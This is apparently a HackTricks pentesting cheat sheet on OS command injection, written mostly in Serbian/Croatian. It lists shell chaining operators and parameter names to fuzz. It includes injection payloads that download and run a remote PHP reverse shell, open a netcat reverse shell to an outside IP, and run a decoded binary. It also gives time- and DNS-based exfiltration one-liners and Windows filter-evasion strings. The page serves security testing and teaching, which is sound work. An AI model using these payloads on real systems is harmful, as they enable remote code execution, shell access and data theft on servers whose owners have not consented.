7.1 KiB
Command Injection
{% hint style="success" %}
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: 
HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
Šta je command injection?
Command injection omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da dobije neovlašćen pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.
Kontekst
U zavisnosti od gde se vaši unosi ubacuju, možda ćete morati da prekinete citirani kontekst (koristeći " ili ') pre komandi.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Limitation Bypasses
Ako pokušavate da izvršite arbitrarne komande unutar linux mašine biće vam zanimljivo da pročitate o ovim Bypasses:
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %} bypass-bash-restrictions {% endcontent-ref %}
Primjeri
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Parameters
Evo 25 najvažnijih parametara koji bi mogli biti podložni kod injekciji i sličnim RCE ranjivostima (iz link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Ekstrakcija podataka: znak po znak
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
Na osnovu alata sa https://github.com/HoLyVieR/dnsbin koji je takođe hostovan na dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Online alati za proveru DNS zasnovanog exfiltracije podataka:
- dnsbin.zhack.ca
- pingb.in
Zaobilaženje filtriranja
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %} bypass-bash-restrictions {% endcontent-ref %}
Lista za detekciju Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
Reference
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Koristite Trickest za lako kreiranje i automatizaciju radnih tokova pokretanih najnaprednijim alatima zajednice na svetu.
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}